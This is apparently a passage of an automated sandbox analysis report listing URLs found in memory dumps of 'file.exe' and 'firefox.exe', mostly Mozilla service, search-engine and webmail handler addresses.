Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: http://stackoverflow.com/questions/30030031)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttp://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: file.exe, file.exe, 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateSERVICE_UPDATER_COULD_NOT_BE_STARTEDSERVICE_NOT_ENOUGH_COMMAND
Source: firefox.exe, 0000001C.00000002.2791367449.0000025B4A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001C.00000002.2784405003.0000025B497BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2766142861.0000025B48303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2778978283.0000025B494B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2784405003.0000025B4976D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753033132.0000025B45641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul(
Source: firefox.exe, 0000001C.00000002.2784405003.0000025B497FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2784405003.0000025B497BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4459E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulCan
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulR
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4459E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulUsing
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulbrowser.engagement.max_concurrent_tab_p
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-su
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4459E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://passwordmgr/locale/passwordmgr
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4459E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulcreateNotificationMessageElement/setAle
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4459E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuloncommand=closebuttoncommand
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://activity-stream/lib/ToolbarP
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/addons/SitePerms
Source: file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2419814880.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000003.2682882232.0000025B47F07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/_flippedInheritedAttributes
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001C.00000002.2781883670.0000025B496C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B467F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741644582.0000025B37F0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe_sms/
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://basket.mozilla.org/subscribe.json
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: firefox.exe, 0000001C.00000002.2778623851.0000025B49303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180chrome://browser/content/browser-data-submission
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37F0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsFea
Source: firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001C.00000002.2807676335.0000219FC4904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2808427934.000031D060004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682882232.0000025B47F07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2761542947.0000025B47F1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807464619.0000175AF4004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001C.00000002.2807464619.0000175AF4004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ZycC
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001C.00000002.2803080213.0000025B50E79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4373C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://ebay.com
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sFailed
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://fb.me/react-polyfillsO
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://fb.me/react-polyfillsP
Source: firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	String found in binary or memory: https://fb.me/react-polyfillsPO
